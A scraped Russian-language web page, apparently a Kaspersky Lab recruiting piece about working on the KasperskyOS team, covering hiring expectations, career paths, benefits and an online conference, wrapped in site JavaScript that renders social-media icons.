14.853 14.85 8.199 0 14.85-6.648 14.85-14.85 0-8.203-6.651-14.85-14.85-14.85zm7.664 18.115c0 2.423-1.979 4.401-4.416 4.401h-6.5c-2.438 0-4.417-1.979-4.417-4.386v-6.546c0-2.422 1.978-4.4 4.417-4.4h6.5c2.438 0 4.416 1.978 4.416 4.4v6.531z"/></svg>'; } else { instagram += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 25 25" fill="' + fill + '"><path d="M16.396 3.312H8.604c-2.921 0-5.292 2.371-5.292 5.273v7.846c0 2.886 2.371 5.256 5.292 5.256h7.791c2.922 0 5.292-2.37 5.292-5.274V8.586c.001-2.903-2.37-5.274-5.291-5.274zM7.722 12.5a4.778 4.778 0 1 1 9.554 0 4.778 4.778 0 0 1-9.554 0zm10.034-4.318c-.615 0-1.104-.487-1.104-1.102s.488-1.103 1.104-1.103c.614 0 1.102.488 1.102 1.103s-.488 1.102-1.102 1.102z" /><path d="M12.5 9.376A3.12 3.12 0 0 0 9.376 12.5a3.12 3.12 0 0 0 3.124 3.124 3.12 3.12 0 0 0 3.124-3.124A3.133 3.133 0 0 0 12.5 9.376z"/></svg>'; } instagram += '</a>'; instagram += '</div>'; var pinterest = ''; pinterest += '<div class="t-review-social-links\_\_item">'; pinterest += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { pinterest += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="-455 257 48 48" fill="' + fill + '"><path d="M-407 281c0 13.254-10.746 24-23.999 24-13.257 0-24.003-10.746-24.003-24 0-13.256 10.746-24 24.003-24 13.253 0 23.999 10.744 23.999 24zm-30.628 14.811c.027.205.29.254.409.1.17-.223 2.365-2.932 3.111-5.639.211-.768 1.212-4.738 1.212-4.738.599 1.145 2.349 2.148 4.21 2.148 5.539 0 9.297-5.049 9.297-11.809 0-5.111-4.329-9.873-10.909-9.873-8.186 0-12.314 5.871-12.314 10.766 0 2.963 1.122 5.6 3.527 6.582.395.162.749.006.863-.43.08-.303.268-1.065.353-1.385.114-.432.07-.582-.248-.959-.694-.818-1.138-1.879-1.138-3.381 0-4.353 3.259-8.252 8.484-8.252 4.627 0 7.169 2.828 7.169 6.603 0 4.969-2.198 9.162-5.461 9.162-1.804 0-3.153-1.49-2.722-3.32.518-2.182 1.522-4.537 1.522-6.113 0-1.41-.758-2.588-2.324-2.588-1.843 0-3.323 1.908-3.323 4.461 0 1.627.55 2.727.55 2.727l-2.217 9.391c-.657 2.787-.099 6.203-.051 6.547z"/></svg>'; } else { pinterest += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M24.9 5.5c4.2 0 7.7 1.3 10.5 3.9s4.1 5.7 4.1 9.2c0 4.6-1.2 8.4-3.5 11.3-2.3 3-5.3 4.5-8.9 4.5-1.2 0-2.3-.3-3.4-.9s-1.8-1.3-2.2-2c-.9 3.5-1.4 5.6-1.6 6.3-.7 2.4-2 4.9-4.1 7.5-.2.2-.4.2-.5-.1-.5-3.5-.5-6.4.1-8.7l2.9-12.6c-.5-.9-.7-2.1-.7-3.6 0-1.7.4-3.1 1.3-4.2s1.9-1.7 3.2-1.7c1 0 1.8.3 2.3 1 .5.6.8 1.5.8 2.4 0 .6-.1 1.4-.3 2.3-.2.9-.5 1.9-.9 3.1s-.6 2.1-.8 2.8c-.3 1.2-.1 2.2.7 3.1.7.9 1.7 1.3 3 1.3 2.1 0 3.8-1.2 5.2-3.6 1.4-2.4 2-5.3 2-8.7 0-2.6-.8-4.7-2.5-6.3-1.7-1.6-4-2.4-7-2.4-3.4 0-6.1 1.1-8.2 3.2S13 17.4 13 20.4c0 1.8.5 3.3 1.5 4.5.3.4.4.8.3 1.2 0 .1-.1.3-.2.6-.1.4-.1.6-.2.7 0 .1-.1.4-.2.6-.1.3-.3.4-.4.4h-.6c-3.1-1.3-4.7-4.2-4.7-8.7 0-3.6 1.5-6.9 4.4-9.9s7-4.3 12-4.3z"/></svg>'; } pinterest += '</a>'; pinterest += '</div>'; var linkedin = ''; linkedin += '<div class="t-review-social-links\_\_item">'; linkedin += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { linkedin += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="-615 1477 48 48" fill="' + fill + '"><path d="M-566.999 1501c0 13.256-10.746 24-24 24-13.256 0-24.002-10.744-24.002-24 0-13.254 10.746-24 24.002-24 13.254 0 24 10.746 24 24zm-38.507 13.975h6.22v-20.004h-6.22v20.004zm3.11-22.739a3.606 3.606 0 0 0 0-7.211 3.603 3.603 0 0 0-3.604 3.605 3.604 3.604 0 0 0 3.604 3.606zm26.396 11.766c0-5.387-1.163-9.529-7.454-9.529-3.023 0-5.054 1.658-5.884 3.231h-.085v-2.733h-5.964v20.004h6.216v-9.896c0-2.609.493-5.137 3.729-5.137 3.186 0 3.232 2.984 3.232 5.305v9.729h6.21v-10.974z"/></svg>'; } else { linkedin += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M42.3 23.1v13.5h-7.9V24c0-3.2-1.1-5.3-4-5.3-2.2 0-3.5 1.5-4 2.9-.2.5-.3 1.2-.3 1.9v13.2h-7.9s.1-21.4 0-23.6h7.9v3.3s0 .1-.1.1h.1v-.1c1-1.6 2.9-3.9 7.1-3.9 5.2-.1 9.1 3.3 9.1 10.6zM10.1 1.6c-2.7 0-4.4 1.8-4.4 4.1S7.4 9.8 10 9.8h.1c2.7 0 4.4-1.8 4.4-4.1s-1.7-4.1-4.4-4.1zm-3.9 35H14V13H6.2v23.6z"/></svg>'; } linkedin += '</a>'; linkedin += '</div>'; var soundcloud = ''; soundcloud += '<div class="t-review-social-links\_\_item">'; soundcloud += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { soundcloud += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="30" height="30" viewBox="0 0 48 48" fill="' + fill + '"><defs><path id="a" d="M0 0h48v48H0V0z"/></defs><g fill-rule="evenodd"><path d="M38.206 22.171c-.635 0-1.241.129-1.793.36-.369-4.177-3.871-7.453-8.144-7.453a8.28 8.28 0 0 0-2.965.553c-.35.136-.442.275-.446.546v14.709a.545.545 0 0 0 .5.531c.013.002 12.848 0 12.848 0 2.56 0 4.634-2.051 4.634-4.611a4.634 4.634 0 0 0-4.634-4.635zM24.17 16.237a.5.5 0 0 0-.582.043.517.517 0 0 0-.189.392v.053l-.21 10.388.107 1.92.103 1.869a.514.514 0 0 0 .51.505.515.515 0 0 0 .51-.509v.004l.228-3.79-.227-10.44a.517.517 0 0 0-.25-.435zm-1.364 14.72v-.001.001-.002.002zm-.215-13.813a.47.47 0 0 0-.264-.081.486.486 0 0 0-.478.477l-.001.09-.18 9.48.181 3.847.001.016a.48.48 0 0 0 .477.458c.246 0 .248-.054.335-.14a.486.486 0 0 0 .144-.336l.02-.38.181-3.463-.201-9.573a.487.487 0 0 0-.215-.395zm-1.853 1.479a.447.447 0 0 0-.446.444l-.2 8.044.2 3.87c.005.465.2.442.446.442.245 0 .44.023.446-.444v.003l.223-3.87-.223-8.046a.447.447 0 0 0-.446-.443zm-1.577-.273a.416.416 0 0 0-.414.412l-.219 8.349.219 3.895c.005.228.187.41.414.41a.416.416 0 0 0 .413-.412v.002l.246-3.895-.246-8.35a.416.416 0 0 0-.413-.411zm-1.184 12.693v-.002.002zm0-12.5a.385.385 0 0 0-.382-.38.384.384 0 0 0-.381.38l-.238 8.567.238 3.932c.006.21.173.377.381.377a.385.385 0 0 0 .382-.378l.268-3.931-.268-8.568zm-1.935-.069a.354.354 0 0 0-.35.347l-.256 8.288.257 3.957c.006.193.16.346.35.346a.354.354 0 0 0 .349-.347v.002l.29-3.958-.29-8.288a.355.355 0 0 0-.35-.347zm-1.564.691a.322.322 0 0 0-.318.315l-.275 7.65.276 3.998a.321.321 0 0 0 .317.313c.17 0 .31-.138.317-.315v.002l.312-3.999-.312-7.65a.323.323 0 0 0-.317-.314zM12.974 20.6a.29.29 0 0 0-.285.282l-.295 6.226.295 4.023a.29.29 0 0 0 .285.281.292.292 0 0 0 .285-.282v.001l.333-4.023-.333-6.226a.292.292 0 0 0-.285-.282zm-1.264 2.678a.258.258 0 0 0-.253-.248.257.257 0 0 0-.253.25l-.314 3.826.314 4.024c.008.142.117.25.253.25a.259.259 0 0 0 .253-.25l.356-4.024-.356-3.828zm0 7.851v.001zm-1.757-8.366a.226.226 0 0 0-.221.217l-.333 4.126.333 3.99c.009.124.104.217.22.217s.21-.093.221-.216l.4-3.991-.4-4.126c-.01-.123-.105-.217-.22-.217zm-1.493.142c-.1 0-.179.078-.189.185l-.351 4.015.351 3.868c.01.108.09.185.19.185.097 0 .176-.077.188-.184l.4-3.869-.4-4.015c-.012-.107-.091-.185-.189-.185zm-2.873 1.96c-.079 0-.14.06-.151.147l-.276 2.094.276 2.056c.01.086.072.147.15.147s.14-.06.152-.147l.326-2.056-.326-2.095c-.013-.086-.074-.145-.151-.145zM6.98 23.57c-.08 0-.146.064-.157.152l-.25 3.385.25 3.308c.011.088.077.152.157.152s.144-.062.156-.152l.422-3.308-.422-3.385c-.012-.09-.077-.152-.156-.152zM48 24c0 13.255-10.745 24-24 24C10.757 48 0 37.255 0 24 0 10.757 10.757 0 24 0c13.255 0 24 10.757 24 24z"/></g></svg>'; } else { soundcloud += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M1.6 24.3c-.2 0-.3.1-.3.3l-.5 6.2.5 6c0 .2.2.3.3.3.2 0 .3-.1.3-.3l.6-6-.6-6.2c0-.2-.1-.3-.3-.3zm3.3 12.6zm0-11.8c0-.2-.2-.4-.4-.4s-.4.2-.4.4l-.5 5.8.5 6.1c0 .2.2.4.4.4s.4-.2.4-.4l.5-6.1-.5-5.8zm2.7-6.2c-.3 0-.5.2-.5.5l-.4 11.5.4 6c0 .3.2.5.5.5s.5-.2.5-.5l.5-6-.5-11.6c-.1-.2-.3-.4-.5-.4zm3.8-1c0-.3-.3-.6-.6-.6s-.6.3-.6.6l-.4 13 .4 5.9c0 .3.3.6.6.6s.6-.3.6-.6l.4-5.9-.4-13zm2.7.1c-.4 0-.7.3-.7.7l-.3 12.2.3 5.9c0 .4.3.7.7.7.4 0 .7-.3.7-.7l.3-5.9-.3-12.2c0-.4-.3-.7-.7-.7zm3.7-3.6c-.1-.1-.3-.1-.4-.1-.2 0-.4.1-.5.2-.2.1-.3.4-.3.6v.1l-.3 15.7.2 2.9.2 2.8c0 .4.4.8.8.8s.8-.3.8-.8l.3-5.7-.3-15.8c-.1-.3-.3-.5-.5-.7zm22.4 9c-1 0-1.9.2-2.7.5-.6-6.3-5.9-11.3-12.3-11.3-1.6 0-3.1.3-4.5.8-.5.2-.7.4-.7.8v22.2c0 .4.3.8.8.8h19.4c3.9 0 7-3.1 7-7 0-3.7-3.1-6.8-7-6.8z"/></svg>'; } soundcloud += '</a>'; soundcloud +=' </div>'; var telegram = ''; telegram += '<div class="t-review-social-links\_\_item">'; telegram += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { telegram += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="0 0 60 60" fill="' + fill + '"><path d="M30 0C13.4 0 0 13.4 0 30s13.4 30 30 30 30-13.4 30-30S46.6 0 30 0zm16.9 13.9l-6.7 31.5c-.1.6-.8.9-1.4.6l-10.3-6.9-5.5 5.2c-.5.4-1.2.2-1.4-.4L18 32.7l-9.5-3.9c-.7-.3-.7-1.5 0-1.8l37.1-14.1c.7-.2 1.4.3 1.3 1z"/><path d="M22.7 40.6l.6-5.8 16.8-16.3-20.2 13.3"/></svg>'; } else { telegram += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 60 60" fill="' + fill + '"><path d="M52.5 9L6.1 26.9c-.9.4-.9 1.8 0 2.3L18 34.1l4.4 14.1c.3.8 1.2 1 1.8.5l6.8-6.4L43.9 51c.7.4 1.6 0 1.7-.7l8.4-40c.2-.8-.7-1.6-1.5-1.3zm-28 27.7l-.7 7.3-3.6-11.2L45.5 16l-21 20.7z"/></svg>'; } telegram += '</a>'; telegram += '</div>'; if (item.indexOf('facebook') != -1) { socialWrapper.append(fb); } if (item.indexOf('twitter') != -1) { socialWrapper.append(twi); } if (item.indexOf('vk.com') != -1) { socialWrapper.append(vk); } if (item.indexOf('ok.ru') != -1) { socialWrapper.append(ok); } if (item.indexOf('behance') != -1) { socialWrapper.append(behance); } if (item.indexOf('vimeo') != -1) { socialWrapper.append(vimeo); } if (item.indexOf('youtube') != -1) { socialWrapper.append(youtube); } if (item.indexOf('instagram') != -1) { socialWrapper.append(instagram); } if (item.indexOf('pinterest') != -1) { socialWrapper.append(pinterest); } if (item.indexOf('linkedin') != -1) { socialWrapper.append(linkedin); } if (item.indexOf('soundcloud') != -1) { socialWrapper.append(soundcloud); } if (item.indexOf('telegram') != -1) { socialWrapper.append(telegram); } } $(document).ready(function() { t\_reviews\_social\_init('189485073'); });@media screen and (max-width: 640px){ .t525 .t-review-social-links\_\_wrapper { -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; }
} Понятно, что разработчиков, обладающих всеми нужными нам навыками, скорее всего, не существует в природе. Поэтому мы готовы брать специалистов с хорошими скилами в одной области, но в чем-то не дотягивающих до наших стандартов в другой, мотивированных при этом развиваться и учиться. Новичка можем посадить писать какой-нибудь не очень сложный драйвер, портировать third-party пакет на KasperskyOS или сделать небольшую фичу. Мы ожидаем, что человек не будет долго разгоняться и месяц кряду только читать документацию, а на примере конкретной задачи начнет вникать в проект. Джуниоров у нас нет. Правда, мы подумываем о том, чтобы брать стажеров — в других отделах «Лаборатории Касперского» опыт со стажировками был удачным, и в компании уже налажен процесс отбора кандидатов — [Kaspersky SafeBoard](https://u.tmtm.ru/kaspersky-safeboard). Если вы заинтересовались, следите за новостями. Вы можете оставить нам свои контакты, и мы сообщим, когда придет время подавать заявку. Карьерный рост в нашей команде типичен для R&D-департаментов. Сначала можно вырасти до старшего разработчика, потом до software-эксперта. Также можно пойти по административной линии — переквалифицироваться в тимлида, менеджера группы и т. д. Впрочем, мы стараемся строить команды так, чтобы и менеджеры у нас имели основательную техническую экспертизу.
В «Лаборатории Касперского» созданы условия для продуктивной работы. У нас комфортный офис с двумя тренажерными залами с саунами, массажный кабинет. В соцпакет входит ДМС со стоматологией для сотрудников и их детей. Есть программы релокации из регионов, обучение hard- и soft-скилам и 13 иностранным языкам, а также многое другое. Чтобы лучше понять, чем занимается команда KasperskyOS, 20–21 мая подключайтесь к онлайн-конференции «KasperskyOS Night: Активируем кибериммунитет». Мероприятие будет интересно разработчикам и тимлидам, а также широкому кругу IT-специалистов. Участие бесплатное, регистрация по [ссылке](https://u.tmtm.ru/kasperskyos-night). Андрей Духвалов Стратег по развитию технологий «Лаборатории Касперского» .t-review-social-links { line-height: 0px; } .t-review-social-links\_\_wrapper { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -ms-flex-wrap: wrap; flex-wrap: wrap; width: auto; } .t-review-social-links { margin-top: 15px; } .t-review-social-links\_\_item { padding: 0px 4px; } .t-review-social-links\_\_item svg { width: 20px; height: 20px; } .t-review-social-links\_\_wrapper\_round .t-review-social-links\_\_item svg { width: 23px; height: 23px; } .t-review-social-links\_\_item:first-child { padding-left: 0px; } @media screen and (max-width: 960px) { .t-review-social-links\_\_item { margin-bottom: 3px; } } @media screen and (max-width: 640px) { .t-review-social-links { margin-top: 13px; } .t-review-social-links\_\_item { padding: 0px 3px; } .t-review-social-links\_\_item svg { width: 17px; height: 17px; } .t-review-social-links\_\_wrapper\_round .t-review-social-links\_\_item svg { width: 20px; height: 20px; } } function t\_reviews\_social\_init(recid){ var rec = $('#rec' + recid); var social = rec.find('.t-review-social-links'); if (social !== 'undefined' && social.length > 0) { social.each(function() { var $this = $(this); var socialAttr = $this.attr('data-social-links'); var socialWrapper = $this.find('.t-review-social-links\_\_wrapper'); var links; $this.removeAttr('data-social-links'); if (typeof socialAttr !== 'undefined') { links = socialAttr.split(','); links.forEach(function(item) { t\_reviews\_social\_add\_item(item, socialWrapper); }); } }); } } function t\_reviews\_social\_add\_item(item, socialWrapper) { var fill = socialWrapper.attr('data-social-color') || '#000000'; var fb = ''; fb = '<div class="t-review-social-links\_\_item">'; fb += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { fb += '<svg class="t-review-social-links\_\_svg" version="1.1" id="Layer\_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="30px" height="30px" viewBox="0 0 48 48" enable-background="new 0 0 48 48" xml:space="preserve" fill="' + fill + '"><desc>Facebook</desc><path d="M47.761,24c0,13.121-10.638,23.76-23.758,23.76C10.877,47.76,0.239,37.121,0.239,24c0-13.124,10.638-23.76,23.764-23.76C37.123,0.24,47.761,10.876,47.761,24 M20.033,38.85H26.2V24.01h4.163l0.539-5.242H26.2v-3.083c0-1.156,0.769-1.427,1.308-1.427h3.318V9.168L26.258,9.15c-5.072,0-6.225,3.796-6.225,6.224v3.394H17.1v5.242h2.933V38.85z"></path></svg>'; } else { fb += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M21.1 7.8C22.5 6.5 24.5 6 26.4 6h6v6.3h-3.9c-.8-.1-1.6.6-1.8 1.4v4.2h5.7c-.1 2-.4 4.1-.7 6.1h-5v18h-7.4V24h-3.6v-6h3.6v-5.9c.1-1.7.7-3.3 1.8-4.3z"/></svg>'; } fb += '</a>'; fb += '</div>'; var twi = ''; twi += '<div class="t-review-social-links\_\_item">'; twi += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { twi += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="0 0 48 48" fill="' + fill + '"><path d="M47.762 24c0 13.121-10.639 23.76-23.761 23.76S.24 37.121.24 24C.24 10.876 10.879.24 24.001.24S47.762 10.876 47.762 24m-9.731-11.625a12.148 12.148 0 0 1-3.87 1.481 6.08 6.08 0 0 0-4.455-1.926 6.095 6.095 0 0 0-6.093 6.095c0 .478.054.941.156 1.388a17.302 17.302 0 0 1-12.559-6.367 6.066 6.066 0 0 0-.825 3.064 6.088 6.088 0 0 0 2.711 5.07 6.075 6.075 0 0 1-2.761-.762v.077c0 2.951 2.1 5.414 4.889 5.975a6.079 6.079 0 0 1-2.752.106 6.104 6.104 0 0 0 5.692 4.232 12.226 12.226 0 0 1-7.567 2.607c-.492 0-.977-.027-1.453-.084a17.241 17.241 0 0 0 9.34 2.736c11.209 0 17.337-9.283 17.337-17.337 0-.263-.004-.527-.017-.789a12.358 12.358 0 0 0 3.039-3.152 12.138 12.138 0 0 1-3.498.958 6.089 6.089 0 0 0 2.686-3.372"/></svg>'; } else { twi += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M41.8 12.7c-1.3.6-2.8 1-4.2 1.1 1.5-1 2.6-2.3 3.2-4-1.5.8-2.9 1.5-4.7 1.8-1.3-1.5-3.2-2.3-5.3-2.3-4 0-7.3 3.2-7.3 7.3 0 .6 0 1.1.2 1.6-6-.3-11.3-3.2-15.1-7.6-.6 1.1-1 2.3-1 3.7 0 2.6 1.3 4.7 3.2 6-1.1 0-2.3-.3-3.2-1v.2c0 3.6 2.4 6.5 5.8 7.1-.6.2-1.3.3-1.9.3-.5 0-1 0-1.3-.2 1 2.9 3.6 5 6.8 5-2.4 1.9-5.7 3.1-9.1 3.1-.6 0-1.1 0-1.8-.2 3.2 2.1 7 3.2 11.2 3.2 13.4 0 20.7-11 20.7-20.7v-1c1.7-.7 2.8-2 3.8-3.4z"/></svg>'; } twi += '</a>'; twi += '</div>'; var vk = ''; vk += '<div class="t-review-social-links\_\_item">'; vk += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { vk += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="0 0 48 48" fill="' + fill + '"><path d="M47.761 24c0 13.121-10.639 23.76-23.76 23.76C10.878 47.76.239 37.121.239 24 .239 10.877 10.878.24 24.001.24c13.121 0 23.76 10.637 23.76 23.76m-12.502 4.999c-2.621-2.433-2.271-2.041.89-6.25 1.923-2.562 2.696-4.126 2.45-4.796-.227-.639-1.64-.469-1.64-.469l-4.71.029s-.351-.048-.609.106c-.249.151-.414.505-.414.505s-.742 1.982-1.734 3.669c-2.094 3.559-2.935 3.747-3.277 3.524-.796-.516-.597-2.068-.597-3.171 0-3.449.522-4.887-1.02-5.259-.511-.124-.887-.205-2.195-.219-1.678-.016-3.101.007-3.904.398-.536.263-.949.847-.697.88.31.041 1.016.192 1.388.699.484.656.464 2.131.464 2.131s.282 4.056-.646 4.561c-.632.347-1.503-.36-3.37-3.588-.958-1.652-1.68-3.481-1.68-3.481s-.14-.344-.392-.527c-.299-.222-.722-.298-.722-.298l-4.469.018s-.674-.003-.919.289c-.219.259-.018.752-.018.752s3.499 8.104 7.573 12.23c3.638 3.784 7.764 3.36 7.764 3.36h1.867s.566.113.854-.189c.265-.288.256-.646.256-.646s-.034-2.512 1.129-2.883c1.15-.36 2.624 2.429 4.188 3.497 1.182.812 2.079.633 2.079.633l4.181-.056s2.186-.136 1.149-1.858c-.197-.139-.715-1.269-3.219-3.591"/></svg>'; } else { vk += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M41.2 22.2c.6-.8 1.1-1.5 1.5-2 2.7-3.5 3.8-5.8 3.5-6.8l-.2-.2c-.1-.1-.3-.3-.7-.4-.4-.1-.9-.1-1.5-.1h-7.2c-.2 0-.3 0-.3.1 0 0-.1 0-.1.1v.1c-.1 0-.2.1-.3.2-.1.1-.2.2-.2.4-.7 1.9-1.5 3.6-2.5 5.2-.6 1-1.1 1.8-1.6 2.5s-.9 1.2-1.2 1.5c-.3.3-.6.6-.9.8-.2.3-.4.4-.5.4-.1 0-.3-.1-.4-.1-.2-.1-.4-.3-.5-.6-.1-.2-.2-.5-.3-.9 0-.4-.1-.7-.1-.9v-4c0-.7 0-1.2.1-1.6v-1.3c0-.4 0-.8-.1-1.1-.1-.3-.1-.5-.2-.7-.1-.2-.3-.4-.5-.6-.2-.1-.5-.2-.8-.3-.8-.2-1.9-.3-3.1-.3-2.9 0-4.7.2-5.5.6-.3.2-.6.4-.9.7-.3.3-.3.5-.1.6.9.1 1.6.5 2 1l.1.3c.1.2.2.6.3 1.1.1.5.2 1.1.2 1.7.1 1.1.1 2.1 0 2.9-.1.8-.1 1.4-.2 1.9-.1.4-.2.8-.3 1.1-.1.3-.2.4-.3.5 0 .1-.1.1-.1.1-.1-.1-.4-.1-.6-.1-.2 0-.5-.1-.8-.3-.3-.2-.6-.5-1-.9-.3-.4-.7-.9-1.1-1.6-.4-.7-.8-1.5-1.3-2.4l-.4-.7c-.2-.4-.5-1.1-.9-1.9-.4-.8-.8-1.6-1.1-2.4-.1-.3-.3-.6-.6-.7l-.1-.1c-.1-.1-.2-.1-.4-.2s-.3-.1-.5-.2H3.2c-.6 0-1.1.1-1.3.4l-.1.1c0 .1-.1.2-.1.4s0 .4.1.6c.9 2.2 1.9 4.3 3 6.3s2 3.6 2.8 4.9c.8 1.2 1.6 2.4 2.4 3.5.8 1.1 1.4 1.8 1.7 2.1.3.3.5.5.6.7l.6.6c.4.4.9.8 1.6 1.3.7.5 1.5 1 2.4 1.5.9.5 1.9.9 3 1.2 1.2.3 2.3.4 3.4.4H26c.5 0 .9-.2 1.2-.5l.1-.1c.1-.1.1-.2.2-.4s.1-.4.1-.6c0-.7 0-1.3.1-1.8s.2-.9.4-1.2c.1-.3.3-.5.5-.7.2-.2.3-.3.4-.3.1 0 .1-.1.2-.1.4-.1.8 0 1.3.4s1 .8 1.4 1.3c.4.5 1 1.1 1.6 1.8.6.7 1.2 1.2 1.6 1.5l.5.3c.3.2.7.4 1.2.5.5.2.9.2 1.3.1l5.9-.1c.6 0 1-.1 1.4-.3.3-.2.5-.4.6-.6.1-.2.1-.5 0-.8-.1-.3-.1-.5-.2-.6-.1-.1-.1-.2-.2-.3-.8-1.4-2.2-3.1-4.4-5.1-1-.9-1.6-1.6-1.9-1.9-.5-.6-.6-1.2-.3-1.9.3-.5 1-1.5 2.2-3z"/></svg>'; } vk += '</a>'; vk += '</div>'; var ok = ''; ok += '<div class="t-review-social-links\_\_item">'; ok += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { ok += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="0 0 30 30" fill="' + fill + '"><path d="M15.001 29.997C6.715 29.997 0 23.28 0 14.997 0 6.714 6.715 0 15.001 0 23.282-.001 30 6.713 30 14.998c0 8.283-6.716 14.999-14.998 14.999zM15 9.163c.986 0 1.787.803 1.787 1.787 0 .987-.801 1.788-1.787 1.788a1.788 1.788 0 0 1 0-3.574zm4.317 1.787a4.322 4.322 0 0 0-4.317-4.319 4.323 4.323 0 0 0-4.319 4.32A4.322 4.322 0 0 0 15 15.266a4.32 4.32 0 0 0 4.316-4.317zm-2.57 7.84a8.126 8.126 0 0 0 2.507-1.038 1.266 1.266 0 0 0-1.347-2.143 5.482 5.482 0 0 1-5.816 0 1.265 1.265 0 0 0-1.348 2.143c.78.49 1.628.838 2.507 1.038l-2.414 2.414a1.267 1.267 0 0 0 .894 2.16c.324 0 .649-.125.895-.37l2.371-2.373 2.373 2.373a1.265 1.265 0 0 0 1.788-1.789l-2.41-2.415z"/></svg>'; } else { ok += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 25 25" fill="' + fill + '"><path d="M12.498 6.2a1.932 1.932 0 0 0-1.929 1.93 1.932 1.932 0 0 0 3.861 0 1.932 1.932 0 0 0-1.932-1.93zm0 6.592a4.668 4.668 0 0 1-4.66-4.662 4.665 4.665 0 0 1 4.66-4.663 4.666 4.666 0 0 1 4.664 4.663 4.669 4.669 0 0 1-4.664 4.662zm-1.884 3.801a8.75 8.75 0 0 1-2.708-1.12 1.367 1.367 0 1 1 1.455-2.312 5.925 5.925 0 0 0 6.276 0 1.367 1.367 0 1 1 1.456 2.311c-.832.522-1.749.9-2.707 1.12l2.606 2.608a1.367 1.367 0 0 1-1.933 1.931L12.5 18.569l-2.561 2.562a1.368 1.368 0 0 1-1.934-1.934l2.609-2.604z"/></svg>'; } ok += '</a>'; ok += '</div>'; var behance = ''; behance += '<div class="t-review-social-links\_\_item">'; behance += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { behance += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="-455 257 48 48" fill="' + fill + '"><path d="M-421.541 278.608c-3.095 0-3.526 3.09-3.526 3.09h6.581c0-.001.042-3.09-3.055-3.09zM-436.472 281.697h-5.834v5.356h5.165c.088 0 .219.002.374 0 .831-.02 2.406-.261 2.406-2.604-.001-2.78-2.111-2.752-2.111-2.752z"/><path d="M-430.984 257C-444.248 257-455 267.75-455 281.014c0 13.263 10.752 24.016 24.016 24.016 13.262 0 24.014-10.752 24.014-24.016-.001-13.263-10.754-24.014-24.014-24.014zm5.054 14.756h8.267v2.467h-8.267v-2.467zm-4.179 12.943c0 6.116-6.364 5.914-6.364 5.914h-10.428v-20.038h10.428c3.168 0 5.668 1.75 5.668 5.335s-3.057 3.813-3.057 3.813c4.031 0 3.753 4.976 3.753 4.976zm15.466-.328h-10.384c0 3.722 3.526 3.487 3.526 3.487 3.329 0 3.213-2.156 3.213-2.156h3.527c0 5.722-6.859 5.33-6.859 5.33-8.227 0-7.698-7.661-7.698-7.661s-.008-7.698 7.698-7.698c8.112.001 6.977 8.698 6.977 8.698z"/><path d="M-435.055 276.221c0-2.084-1.417-2.084-1.417-2.084H-442.306v4.471h5.472c.944 0 1.779-.304 1.779-2.387z"/></svg>'; } else { behance += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 25 25" fill="' + fill + '"><path d="M22.4 7.5h-5.6V6.1h5.6v1.4zm-9.3 5.7c.4.6.5 1.2.5 2s-.2 1.6-.6 2.2c-.3.4-.6.8-1 1.1-.4.3-1 .6-1.6.7-.6.1-1.3.2-2 .2H2.3V5.6H9c1.7 0 2.9.5 3.6 1.5.4.6.6 1.3.6 2.1s-.2 1.5-.6 2c-.2.3-.6.6-1.1.8.7.2 1.2.7 1.6 1.2zM5.5 11h2.9c.6 0 1.1-.1 